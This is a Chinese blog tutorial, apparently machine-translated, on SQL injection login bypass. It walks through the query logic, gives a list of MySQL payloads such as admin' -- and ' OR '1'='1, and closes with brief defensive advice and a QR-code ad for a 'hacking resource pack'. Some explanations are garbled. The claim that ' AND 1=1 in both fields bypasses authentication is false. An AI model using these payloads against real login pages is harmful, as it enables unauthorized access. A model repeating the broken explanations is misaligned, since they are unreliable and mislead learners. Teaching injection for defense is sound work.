文章目录
说明
在SQL注入漏洞中,攻击者可以通过特定的SQL语句构造来绕过登录页面的身份验证逻辑。
攻击者可以利用 OR
、AND
语句、单引号('
)和双引号("
)等来改变查询逻辑,从而绕过密码验证,成功登录系统。以下是详细的说明:
身份验证绕过
正常语句解释
我们可以使用管理员凭据登录admin / p@ssw0rd
。
SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';
- 该页面还显示正在执行的 SQL 查询,以便更好地了解我们如何颠覆查询逻辑。
- 我们的目标是以管理员用户身份登录,而不使用现有密码。
- 如我们所见,当前正在执行的 SQL 查询是:
代码:sql
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
- 该页面接收凭据,然后使用
AND
运算符选择与给定用户名和密码匹配的记录。- 如果
MySQL
数据库返回匹配的记录,则凭据有效,因此PHP
代码会将登录尝试条件评估为true
。 - 如果条件评估为
true
,则返回管理员记录,并且我们的登录得到验证。 - 让我们看看当我们输入错误的凭据时会发生什么。
- 如果
- 正如预期的那样,由于密码错误导致登录失败,从而导致操作
false
产生结果AND
。
单引号注入
- 注意:在某些情况下,我们可能必须使用有效负载的 URL 编码版本。例如,当我们将有效负载直接放在 URL 中时(即 HTTP GET 请求)。
- 从注入单引号开始:
我们看到抛出的是 SQL 错误,而不是Login Failed
消息。页面抛出错误是因为结果查询是:
SELECT * FROM logins WHERE username=''' AND password = 'something';
备注:
- 我们输入的引号中引号的数量为奇数,从而导致语法错误。一种选择是注释掉查询的其余部分,并将查询的剩余部分作为注入的一部分写入以形成有效的查询。另一种选择是在我们注入的查询中使用偶数个引号,这样最终的查询仍然有效。
- 我们需要查询始终返回
true
,无论输入的用户名和密码如何,以绕过身份验证。
- 为此,我们可以
OR
在 SQL 注入中滥用运算符。- 如前所述,MySQL操作优先级文档指出,
AND
运算符将在运算符之前进行评估OR
。
- 这意味着,如果整个查询中至少有一个
TRUE
条件以及OR
运算符- 则整个查询将评估为,
TRUE
因为如果运算符的操作数之一是,则运算符OR
将返回。TRUETRUE
- 始终返回的条件示例
true
是'1'='1'
。
- 但是,为了保持 SQL 查询正常运行并保持偶数个引号
- 我们将删除最后一个引号并使用 (‘1’=‘1’),而不是使用 (‘1’=‘1’)
- 因此原始查询中剩余的单引号将代替它。
- 因此,如果我们注入以下条件并
OR
在它和原始条件之间有一个运算符,它应该始终返回true
:
admin' or '1'='1
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
and or 语句介绍
- 这意味着以下内容:
- 如果用户名是
admin
OR
- 如果
1=1
返回true
“总是返回true
”
AND
- 如果密码是
something
and or 运算符号
AND
首先将评估运算符,然后返回。false
然后,OR
将评估运算符,如果任一语句为true
,则它将返回true
。- 由于
1=1
始终返回true
,因此此查询将返回true
,并且它将授予我们访问权限。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
修改身份验证
注意:每个有效载荷都适用于特定类型的 SQL 查询,以下我说的的mysql语句载荷:
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
使用OR运算符绕过身份认证
让我们尝试将其作为用户名并查看响应。
我们能够以管理员身份成功登录。但是,如果我们不知道有效的用户名怎么办?这次让我们用不同的用户名尝试相同的请求。
由于表中不存在,登录失败notAdmin
,并导致整体查询错误。
为了再次成功登录,我们需要进行全面true
查询。这可以通过OR
在密码字段中注入条件来实现,因此它将始终返回true
。让我们尝试something' or '1'='1
使用密码。
附加OR
条件导致true
查询总体而言,因为WHERE
子句返回表中的所有内容,并且第一行中的用户已登录。在这种情况下,由于两个条件都将返回true
,我们不必提供测试用户名和密码,而可以直接从'
注入开始并使用登录' or '1' = '1
。
这是有效的,因为查询的评估与true
用户名或密码无关。
利用SQL注入绕过登录
如果页面没有适当的输入验证,攻击者可以通过SQL注入来操控查询,改变其行为,从而绕过密码验证。
1. 利用 OR
语句
攻击者可以在用户名或密码字段中插入 OR
语句,这样即使密码不正确,也可以使查询返回结果。例如:
- 在用户名输入框中输入:
' OR '1' = '1
- 在密码输入框中输入:
' OR '1' = '1
这样,SQL查询会变成:
SELECT * FROM users WHERE username = '' OR '1' = '1' AND password = '' OR '1' = '1';
由于 OR '1' = '1'
始终为真,查询会返回第一个用户的记录,绕过用户名和密码验证,直接登录。
2. 利用 AND
语句
攻击者还可以使用 AND
来制造一个始终为真的条件,使得查询成功。例如:
- 在用户名输入框中输入:
' AND 1=1
- 在密码输入框中输入:
' AND 1=1
这个SQL查询变成:
SELECT * FROM users WHERE username = '' AND 1=1 AND password = '' AND 1=1;
这里 AND 1=1
始终为真,攻击者可以通过这种方式绕过验证。
3. 使用单引号('
)和双引号("
)
单引号和双引号通常用于定义SQL查询中的字符串常量。如果输入没有适当过滤,攻击者可以使用单引号或双引号来关闭SQL字符串并注入自己的SQL代码。
- 在用户名或密码输入框中输入:
' OR 1=1 --
这将导致查询变成:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '';
在这里,--
是SQL的注释符号,注释掉了查询的其余部分。因此,整个查询的条件就变成了 OR 1=1
,始终为真,从而绕过了验证。
4. 使用双引号绕过(在某些数据库中)
一些数据库允许使用双引号来包围字符串,因此攻击者可以通过双引号来构造SQL注入:
- 在用户名或密码输入框中输入:
" OR 1=1 --
这会改变查询为:
SELECT * FROM users WHERE username = "" OR 1=1 --" AND password = "";
同样,由于 OR 1=1
永远为真,攻击者可以绕过身份验证。
总结
SQL注入攻击通常依赖于输入验证不足或缺失,攻击者可以通过使用 OR
、AND
、单引号、双引号等技巧来构造恶意的SQL查询,绕过身份验证。为了防止这类攻击,开发者应采取如下措施:
- 使用参数化查询(Prepared Statements)或存储过程来避免将用户输入直接拼接到SQL查询中。
- 对用户输入进行严格验证,过滤非法字符(如单引号、双引号等)。
- 实现最小权限原则,限制数据库查询的权限。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~